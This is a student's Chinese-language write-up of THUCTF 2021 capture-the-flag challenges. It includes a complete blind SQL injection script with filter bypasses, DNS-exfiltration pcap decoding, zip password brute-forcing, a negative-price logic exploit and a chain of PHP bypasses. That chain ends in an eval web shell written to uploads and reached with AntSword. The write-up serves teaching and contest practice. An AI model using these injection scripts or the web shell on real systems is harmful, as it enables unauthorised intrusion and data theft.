何哲 2019011313 计95
Challenge A
首先随便试试,发现 username 为 admin,并且 username 和 password 的检测似乎是分开的,可以通过 username 来进行 sql 注入。
根据提示,试图通过 sql 注入获取整个数据库的数据。在 google 上检索到盲注获取整个数据库数据的方法,首先获取数据库的名字;table 的数量、名字;col 的名字;发现有一个叫做
fffll11l144aaag
的表其中有一列是 ff1lllagggg
,于是从中获取到 flag。其中要注意有几个需要绕过的点,首先是空格可以通过注释绕过;
substr()
的逗号通过 from i for 1 绕过;limit()
通过 group_concat()
绕过。全部代码如下:
import requests
url = "http://nc.thuctf.redbud.info:30405/login.php"
ascii_range = range(33, 127)
def send_request(payload):
response = requests.post(url=url, data=payload)
return response.text
def reshape_username(username: str):
while " " in username:
username = username.replace(" ", "/**/")
return username
def database_length():
raw_username = "admin' and {}=(select length(database()))#"
raw_username = reshape_username(raw_username)
for length in range(30):
username = raw_username.format(length)
password = 0
payload = {"username": username, "password": password}
response = send_request(payload)
if "password error!" in response:
print(f"success! length = {length}")
break
def database_name():
raw_username = "admin' and {}=ascii(substr(database() from {} for 1))#"
raw_username = reshape_username(raw_username)
length_range = range(1, 4)
for j in length_range:
for i in ascii_range:
username = raw_username.format(i, j)
password = 0
payload = {"username": username, "password": password}
response = send_request(payload)
# print(response)
if "password error!" in response:
print(f"success! {chr(i)}")
break
def table_num():
raw_username = "admin' and {}=(select count(table_name) from information_schema.tables where table_schema=database())#"
raw_username = reshape_username(raw_username)
for tb_sum in range(1,10):
username = raw_username.format(tb_sum)
password = 0
payload = {"username": username, "password": password}
response = send_request(payload)
if "password error!" in response:
print(f"success! table_num = {tb_sum}")
break
def table_name():
raw_username = "admin' and {}=(select ascii(substr(group_concat(table_name) from {} for 1)) from information_schema.tables where table_schema=database())#"
raw_username = reshape_username(raw_username)
for tb_len in range(1, 50):
for i in ascii_range:
username = raw_username.format(i, tb_len)
password = 0
payload = {"username": username, "password": password}
response = send_request(payload)
# print(response)
if "password error!" in response:
print(f"success! {tb_len} {chr(i)}")
break
def col_name():
raw_username = "admin' and {}=(select ascii(substr(group_concat(column_name) from {} for 1)) from information_schema.columns where table_name='fffll11l144aaag')#"
raw_username = reshape_username(raw_username)
for col_len in range(1, 50):
for i in ascii_range:
username = raw_username.format(i, col_len)
password = 0
payload = {"username": username, "password": password}
response = send_request(payload)
# print(response)
if "password error!" in response:
print(f"success! {col_len} {chr(i)}")
break
def flag():
raw_username = "admin' and {}=(select ascii(substr(group_concat(ff1lllagggg) from {} for 1)) from fffll11l144aaag)#"
raw_username = reshape_username(raw_username)
flag = ""
for flag_len in range(1, 100):
for i in ascii_range:
username = raw_username.format(i, flag_len)
password = 0
payload = {"username": username, "password": password}
response = send_request(payload)
# print(response)
if "password error!" in response:
# print(f"success! {flag_len} {chr(i)}")
flag += chr(i)
print(flag)
break
if __name__ == "__main__":
# database_length()
# database_name()
# table_name()
# col_name()
flag()
最终效果如下:(一开始只设了 50 位,发现不够又补了一些)
参考资料
Challenge B
首先根据提示,发现 pcap 内有大量 DNS 包,且目的域名前缀非常的奇怪,于是想到把这些前缀连起来,看能不能得到某些信息。代码如下:
from scapy.all import DNS, DNSQR, rdpcap
import base64
import cv2
import numpy as np
def decode_pcap():
all_prefix_set = set()
all_prefix = ""
pcap = rdpcap("./Challenge_B.pcap")
for p in pcap:
if DNS in p:
if p.qr == 0: # query
domain = p[DNSQR].qname.decode("utf-8")
if domain.split(".")[1] == "wchhlbt":
prefix = domain.split(".")[0]
if prefix not in all_prefix_set:
all_prefix_set.add(prefix)
all_prefix += prefix
with open("./test", "wb") as f:
f.write(base64.b64decode(all_prefix))
连起来之后发现像是 base64 加密后的字符串,但是 base64 解密不成功,后来发现是存在重传的情况,需要去重。去重后解密为一个文件,file 之后发现是 zip 文件。
于是修改后缀并打开,发现里面有一个打不开的 png 。通过
pngcheck
发现是 CRC 校验码存在问题,修改正确后可以打开,打开是一个没有任何信息的猫猫头。继续使用 pngcheck
发现图片最后有冗余信息。发现冗余信息是一堆 20 和 09 构成,一共 10000 位,根据提示猜测可能可以排列成二维码。于是尝试按 100 * 100 的顺序写入图片,代码如下:
def main():
with open("./additional.txt", "r") as f:
data = f.readline().strip().split(" ")
width = 100
height = 100
img = np.zeros([width, height, 3], dtype=np.uint8)
for j in range(height):
for i in range(width):
if data[j * width + i] == "20":
img[i, j, :] = [255, 255, 255]
else:
img[i, j, :] = [0, 0, 0]
cv2.imshow('image', img)
cv2.imwrite("qrcode.jpg", img)
cv2.waitKey(0)
cv2.destroyAllWindows()
之后得到一个二维码:
扫描后得到一串字符:
m/wchhlbt/THUCTF2021
。之后怀疑图片中还有别的信息,通过修改高度得到完整图片:拼接成网站后是一个 github 仓库 https://github.com/wchhlbt/THUCTF2021,clone 下来发现 secret 已经不存在了,但是可以通过 git 历史发现修改。将所有修改拼凑起来即可得到 flag
THUCTF{OMG_y0u_f1nd_my_Secr@t!}
。Challenge C
首先是一张很大的水母图,疑似存在隐藏信息。通过
zsteg
发现在 png 图片之后存在一个 jpg 文件之后用
binwalk
提取出该 jpg 末尾的一个 zip 文件。发现是带密码的。猜测密码不会特别复杂,于是使用 fcrackzip
爆破。fcrackzip -b -c "1" -l 1-10 -u 4CAC.zip
得到密码是 654321 ,解压后还是一张一样的图…并没有更多信息。
后来看提示说可以直接通过眼睛看,发现原始图中左下角直接包含了 flag …怎么说呢…有点“你被骗了”的感觉,不过反套路也挺有趣的。
Challenge D
这个题我在 2022 THUCTF 做过…
首先是 sha256 碰撞代码:
from hashlib import sha256
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long, getStrongPrime as getPrime
from collections import defaultdict
import signal
import random
import string
from os import urandom
ALL_POSSIBLE_CHAR = string.ascii_letters + string.digits + '!#$%&*-?'
def main():
sha_input = input("sha_input_left: ")
sha_output = input("sha_output: ")
for i_0 in range(len(ALL_POSSIBLE_CHAR)):
for i_1 in range(len(ALL_POSSIBLE_CHAR)):
for i_2 in range(len(ALL_POSSIBLE_CHAR)):
for i_3 in range(len(ALL_POSSIBLE_CHAR)):
test_output = sha256((ALL_POSSIBLE_CHAR[i_0] + ALL_POSSIBLE_CHAR[i_1] + ALL_POSSIBLE_CHAR[i_2] + ALL_POSSIBLE_CHAR[i_3] + sha_input).encode()).hexdigest()
if (test_output == sha_output):
print(ALL_POSSIBLE_CHAR[i_0] + ALL_POSSIBLE_CHAR[i_1] + ALL_POSSIBLE_CHAR[i_2] + ALL_POSSIBLE_CHAR[i_3])
return
if __name__ == "__main__":
main()
之后通过读代码发现只需要从 admin 处买到 flag 并且 view 即可,发现可以自己设置商品价格并且可以设置为负数,于是只需要用户 A 设置一个商品价格为很小的负数,用户 B 买了之后即可获得超过 flag 价值的财富,买下 flag 即可。这个题我是手动操作的,忘了截图。
Challenge E
首先在源代码中发现需要修改的 ip 地址。
之后通过 chrome 插件
X-Forwarded-For Header
修改即可。Challenge F
题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$var1 = $_GET['var1'] ?: '';
$var2 = $_GET['var2'] ?: '';
$var3 = $_GET['var3'] ?: '';
$var4 = $_GET['var4'] ?: '';
$var5 = $_GET['var5'] ?: '';
$var6 = $_GET['var6'] ?: '';
$var7 = $_GET['var7'] ?: '';
$var8 = $_GET['var8'] ?: '';
$var9 = $_GET['var9'] ?: '';
if ($var1 != $var2 && sha1($var1) === sha1($var2)) {
if (!is_numeric($var3) && in_array($var3, array(1))) {
if (file_get_contents($var4) === "Welcome to THUCTF2021!") {
if (isset($_GET['thuctf_is.fun'])) {
if ($var5 != 2333 && intval($var5, 0) === 2333) {
$t = is_numeric($var6) and is_numeric($var7) !== "THUCTF2021";
if ($t && $var7 === "THUCTF2021") {
if (!stristr($var8, "..") && !preg_match("/<\?|eval|system|assert|call|preg|create|sort|exec|php/i", $var9)) {
file_put_contents("uploads/$var8", $var9);
} else {
die("level 7 fail!");
}
} else {
die("level 6 fail!");
}
} else {
die("level 5 fail!");
}
} else {
die("level 4 fail!");
}
} else {
die("level 3 fail!");
}
} else {
die("level 2 fail!");
}
} else {
die("level 1 fail!");
}
level 1 采用数组绕过
sha1
,利用 sha1(array) = NULL
level 2 利用
in_array
比较时未设置强类型检查,用字符串与数字进行比较,赋值 $var3
为 '1;'
即可。level 3 利用伪协议
data://text/plain;base64
的形式将参数传入 file_get_contents
,赋值 $var4 = 'data://text/plain;base64,V2VsY29tZSB0byBUSFVDVEYyMDIxIQ=='
即可。level 4 利用 php7 的 trick ,在传入字符串包含左中括号时,在将第一个左中括号替换成下划线之后的非法字符都会忽略,故只需提供一个名为
thuctf[is.fun
的参数即可。level 5 利用
intval(x, 0)
会自动转换进制,传入一个 16 进制的数即可。$var5 = 0x91d
level 6 利用 php 的一个 trick,当两个
is_numeric
用 and
连接的时候,后面一个永远会被绕过,所以 $var6 = 1
$var7 = 'THUCTF2021'
即可。level 7 利用
file_put_contents
函数处理数组时会将每一个元素以字符串形式连接这一性质,通过数组绕过 preg_match
。只需赋值 $var8 = 3.php
(3.php 是随机命名),$var9[] = "<?php @eval($_POST['attack']);"
即可往该页面写入一句话木马。之后访问 http://nc.thuctf.redbud.info:30232/uploads/3.php 会发现已经存在了这个页面。之后通过中国蚁剑连接,截图如下:连接完成之后发现无法直接访问 flag 或者 readflag 。一些常用命令也无效。利用中国蚁剑的插件,通过 php7 的漏洞绕过 disable_functions ,之后可正常运行。运行 readflag 得到 flag 。
以下是写入木马过程的截图。
Loading Comments...